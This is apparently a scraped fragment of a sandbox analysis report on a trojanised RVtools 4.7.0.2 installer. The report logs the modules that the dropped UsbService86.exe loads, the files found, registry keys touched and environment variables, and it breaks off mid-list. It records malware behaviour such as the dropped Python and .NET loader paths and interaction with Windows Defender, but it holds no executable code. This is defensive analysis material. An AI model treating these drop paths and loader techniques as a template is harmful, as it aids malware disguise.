"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ffc53220000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffc94070000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\URLMON.DLL" at base 0 "UsbService86.exe" loaded module "URLMON.DLL" at base 7ffc82a60000 "UsbService86.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffc95310000 "UsbService86.exe" loaded module "SSPICLI.DLL" at base 7ffc94350000 "UsbService86.exe" loaded module "VIRTDISK.DLL" at base 7ffc783d0000 "UsbService86.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\SYSTEMWEB\SYSTEMINFO\PYTHONNET\RUNTIME\PSAPI.DLL" at base 0 "UsbService86.exe" loaded module "PSAPI.DLL" at base 23060de0000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "UsbService86.exe" loaded module "OLE32.DLL" at base 7ffc96af0000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffc69390000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ffc52970000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffc508f0000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffc6ece0000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffc68390000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffc6d6e0000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.RUNTEB92AA12#\00D77E4F6209222F01FBA5B5EE335B0E\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 7ffc67840000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P1706CAFE#\17182784B4D739DB89359F759C9B7680\MICROSOFT.POWERSHELL.COMMANDS.DIAGNOSTICS.NI.DLL" at base 7ffc6c920000 "UsbService86.exe" loaded module "WLDP.DLL" at base 7ffc948a0000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "UsbService86.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffc96180000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffc6e800000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffc950e0000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffc6e0b0000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ffc6cef0000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ffc6e7f0000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffc682e0000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffc4fbd0000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffc663d0000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffc677a0000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffc69570000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.WE0722664#\5B6DC6CED38A636165CB1ED15C9505E5\MICROSOFT.WSMAN.MANAGEMENT.NI.DLL" at base 7ffc4fb30000 "UsbService86.exe" loaded module "NTDLL.DLL" at base 7ffc97c90000 "UsbService86.exe" loaded module "SHELL32.DLL" at base 7ffc96fa0000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "UsbService86.exe" loaded module "BCRYPT.DLL" at base 7ffc94990000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "UsbService86.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffc96180000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ffc4f1a0000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffc4ee30000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffc4ecc0000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffc4eb50000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "UsbService86.exe" loaded module "SECUR32.DLL" at base 7ffc89ec0000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "UsbService86.exe" loaded module "AMSI.DLL" at base 7ffc874e0000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffc8b240000 "UsbService86.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ffc87260000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\S7NFW5L0.DLL" at base 7ffc7a130000 "UsbService86.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7ffc670c0000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffc96050000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffc97830000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "UsbService86.exe" loaded module "COMBASE.DLL" at base 7ffc96180000 "UsbService86.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffc96180000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "UsbService86.exe" loaded module "ADVAPI32" at base 7ffc97830000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "UsbService86.exe" loaded module "OLEAUT32.DLL" at base 7ffc95f60000 "UsbService86.exe" loaded module "KERNELBASE" at base 7ffc95310000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\3C82A5286B5172D5A68C8DF2E09C4C40\SYSTEM.DRAWING.NI.DLL" at base 7ffc6b490000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.SERVICEMODEL\828AF4C73AFF33045680A30AB10BE3C7\SYSTEM.SERVICEMODEL.NI.DLL" at base 7ffc581d0000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XAML\9CBB0CF8FA877D9B20BCD4E36B531259\SYSTEM.XAML.NI.DLL" at base 7ffc6b210000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.ENTERPRISESERVICES\V4.0_4.0.0.0__B03F5F7F11D50A3A\SYSTEM.ENTERPRISESERVICES.WRAPPER.DLL" at base 7ffc7d650000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "UsbService86.exe" loaded module "RASAPI32.DLL" at base 7ffc6e4e0000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "UsbService86.exe" loaded module "WS2_32.DLL" at base 7ffc96f20000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffc94570000 "UsbService86.exe" loaded module "RASMAN.DLL" at base 7ffc6b1d0000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "UsbService86.exe" loaded module "WINHTTP.DLL" at base 7ffc8dfa0000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffc79640000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\WEBENGINE4.DLL" at base 7ffc6b120000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\\WEBENGINE4.DLL" at base 7ffc6b120000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.WEB\V4.0_4.0.0.0__B03F5F7F11D50A3A\WEBENGINE4.DLL" at base 0 "UsbService86.exe" loaded module "WEBENGINE4.DLL" at base 7ffc6b120000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "UsbService86.exe" loaded module "IPHLPAPI.DLL" at base 7ffc93c20000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffc8bec0000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffc8d210000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffc93f70000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffc83010000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "UsbService86.exe" loaded module "CRYPT32.DLL" at base 7ffc950e0000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 044:T524,"msiexec.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 94990000 "msiexec.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 95A10000 "MsiExec.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 760A0000 "MsiExec.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72240000 "EXPAND.EXE" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 760A0000 "EXPAND.EXE" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72240000 "start.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 95A10000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 760A0000 "msiexec.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 71F00000 "msiexec.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 760A0000 "MsiExec.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 71F00000 "UsbService86.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 94990000 "UsbService86.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 95A10000 "csc.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 95A10000 "csc.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 94990000 "cvtres.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 94990000 "cvtres.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 95A1000045:Tc32,"RVtools-4.7.0.2.msi" was detected as "Microsoft Installer(MSI)" and name: "Installer" "RVtools-4.7.0.2.msi" was detected as "Microsoft Compound" and name: "Data" "libcrypto-3.dll" was detected as "Microsoft Installer(MSI)" and name: "Installer" "libcrypto-3.dll" was detected as "Microsoft Compound" and name: "Data" "sqlite3.dll" was detected as "Microsoft Installer(MSI)" and name: "Installer" "sqlite3.dll" was detected as "Microsoft Compound" and name: "Data" "libssl-3.dll" was detected as "Microsoft Installer(MSI)" and name: "Installer" "libssl-3.dll" was detected as "Microsoft Compound" and name: "Data" "python.exe" was detected as "Microsoft Installer(MSI)" and name: "Installer" "python.exe" was detected as "Microsoft Compound" and name: "Data" "UsbService86.exe" was detected as "Microsoft Installer(MSI)" and name: "Installer" "UsbService86.exe" was detected as "Microsoft Compound" and name: "Data" "python3.dll" was detected as "Microsoft Installer(MSI)" and name: "Installer" "python3.dll" was detected as "Microsoft Compound" and name: "Data" "vcruntime140_1.dll" was detected as "Microsoft Installer(MSI)" and name: "Installer" "vcruntime140_1.dll" was detected as "Microsoft Compound" and name: "Data" "ClrLoader.dll" was detected as "Microsoft Installer(MSI)" and name: "Installer" "ClrLoader.dll" was detected as "Microsoft Compound" and name: "Data" "nsExec.dll" was detected as "Microsoft Installer(MSI)" and name: "Installer" "nsExec.dll" was detected as "Microsoft Compound" and name: "Data" "unicodedata.pyd" was detected as "Microsoft Installer(MSI)" and name: "Installer" "unicodedata.pyd" was detected as "Microsoft Compound" and name: "Data" "MSIC2B7.tmp" was detected as "Microsoft Installer(MSI)" and name: "Installer" "MSIC2B7.tmp" was detected as "Microsoft Compound" and name: "Data" "_decimal.pyd" was detected as "Microsoft Installer(MSI)" and name: "Installer" "_decimal.pyd" was detected as "Microsoft Compound" and name: "Data" "MSIB386.tmp" was detected as "Microsoft Installer(MSI)" and name: "Installer" "MSIB386.tmp" was detected as "Microsoft Compound" and name: "Data" "pyexpat.pyd" was detected as "Microsoft Installer(MSI)" and name: "Installer" "pyexpat.pyd" was detected as "Microsoft Compound" and name: "Data" "_cffi_backend.cp312-win_amd64.pyd" was detected as "Microsoft Installer(MSI)" and name: "Installer" "_cffi_backend.cp312-win_amd64.pyd" was detected as "Microsoft Compound" and name: "Data" "_ssl.pyd" was detected as "Microsoft Installer(MSI)" and name: "Installer" "_ssl.pyd" was detected as "Microsoft Compound" and name: "Data" "_lzma.pyd" was detected as "Microsoft Installer(MSI)" and name: "Installer" "_lzma.pyd" was detected as "Microsoft Compound" and name: "Data" "_elementtree.pyd" was detected as "Microsoft Installer(MSI)" and name: "Installer" "_elementtree.pyd" was detected as "Microsoft Compound" and name: "Data" "_ctypes.pyd" was detected as "Microsoft Installer(MSI)" and name: "Installer" "_ctypes.pyd" was detected as "Microsoft Compound" and name: "Data"46:T1202,"start.exe" touched "Activation Layout Preferences" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}\TREATAS") "start.exe" touched "Computer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "start.exe" touched "Network" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "start.exe" touched "Recycle Bin" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "start.exe" touched "Control Panel" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "start.exe" touched "UsersFiles" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "start.exe" touched "UsersLibraries" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "start.exe" touched "CLSID_SearchFolder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "start.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "start.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "start.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "start.exe" touched "Public Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "start.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "start.exe" touched "This Device" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "start.exe" touched "CLSID_AppInstanceFolder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "start.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "start.exe" touched "DXP" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "start.exe" touched "CLSID_SearchHome" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "start.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "start.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "start.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "start.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "start.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "start.exe" touched "StreamBackedFolder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "start.exe" touched "Computers and Devices" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "start.exe" touched "Removable Drives" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "start.exe" touched "Memory Mapped Cache Mgr" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "start.exe" touched "Property System Both Class Factory" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "start.exe" touched "Security Manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "start.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "start.exe" touched "Start Menu Cache" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "start.exe" touched "ShellItem Shell Namespace helper" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "UsbService86.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32")47:T1dc3,Process "msiexec.exe" (UID: 00000000-00002836) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, PROCESSOR_ARCHITECTURE, PSModulePath, APPDATA, USERNAME, CommonProgramFiles, Path, PATHEXT, TEMP, USERPROFILE, TMP, ProgramFiles" Process "msiexec.exe" (UID: 00000000-00002836) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, FPS_BROWSER_APP_PROFILE_STRING, LOGONSERVER, PROMPT, OneDrive, FPS_BROWSER_USER_PROFILE_STRING, PROCESSOR_ARCHITEW6432, EFC_5712, HOMEPATH, HOMEDRIVE" Process "MsiExec.exe" (UID: 00000000-00008752) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-8LD9T6N", LOGONSERVER="\\DESKTOP-8LD9T6N", OneDrive="%USERPROFILE%\OneDrive", HOMEPATH="\Users\KdHcW8W", HOMEDRIVE="C:"" Process "MsiExec.exe" (UID: 00000000-00008752) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, TEMP, USERPROFILE, TMP" Process "ICACLS.EXE" (UID: 00000000-00004744) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "ICACLS.EXE" (UID: 00000000-00004744) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "RVtools-4.7.0.2.exe" (UID: 00000000-00001196) was launched with new environment variables: "USERDNSDOMAIN="RVFh5nKNjQOPiSK"" Process "RVtools-4.7.0.2.exe" (UID: 00000000-00001196) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "RVtools-4.7.0.2.exe" (UID: 00000000-00001196) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "ICACLS.EXE" (UID: 00000000-00004896) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "ICACLS.EXE" (UID: 00000000-00004896) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "ICACLS.EXE" (UID: 00000000-00004896) was launched with missing environment variables: "USERDNSDOMAIN" Process "msiexec.exe" (UID: 00000000-00003268) was launched with new environment variables: "USERDNSDOMAIN="RVFh5nKNjQOPiSK"" Process "msiexec.exe" (UID: 00000000-00003268) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "csc.exe" (UID: 00000000-00002832) was launched with new environment variables: "computername="RVFh5nKNjQOPiSK", programw6432="C:\Program Files", commonprogramfiles="%PROGRAMFILES%\Common Files", homedrive="C:", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", path="%PROGRAMFILES%\(x86)\Common Files\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%WINDIR%\System32\OpenSSH\;%NVM_HOME%;%NVM_SYMLINK%", comspec="%WINDIR%\system32\cmd.exe", homepath="\Users\KdHcW8W", sessionname="Console", tmp="%LOCALAPPDATA%\Temp", processor_revision="4f00", driverdata="%WINDIR%\System32\Drivers\DriverData", localappdata="%USERPROFILE%\AppData\Local", sslkeylogfile="%TEMP%\sslkey.txt", curl_ca_bundle="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", userprofile="C:\Users\KdHcW8W", number_of_processors="8", programfiles="C:\Program Files", processor_level="6", userdnsdomain="RVFh5nKNjQOPiSK", userdomain_roamingprofile="DESKTOP-8LD9T6N", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", processor_architecture="AMD64", processor_identifier="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", logonserver="\\DESKTOP-8LD9T6N", nvm_symlink="%PROGRAMFILES%\nodejs", systemroot="C:\WINDOWS", userdomain="RVFh5nKNjQOPiSK", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", public="C:\Users\Public", temp="%LOCALAPPDATA%\Temp", os="Windows_NT", programdata="C:\ProgramData", nvm_home="%APPDATA%\nvm", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\KdHcW8W\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\(x86)\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", onedrive="%USERPROFILE%\OneDrive", _clrrestrictsecattributes="1", systemdrive="C:", appdata="%USERPROFILE%\AppData\Roaming", username="KdHcW8W"" Process "csc.exe" (UID: 00000000-00002832) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, NVM_SYMLINK, PROCESSOR_LEVEL, SSLKEYLOGFILE, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, SystemDrive, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), 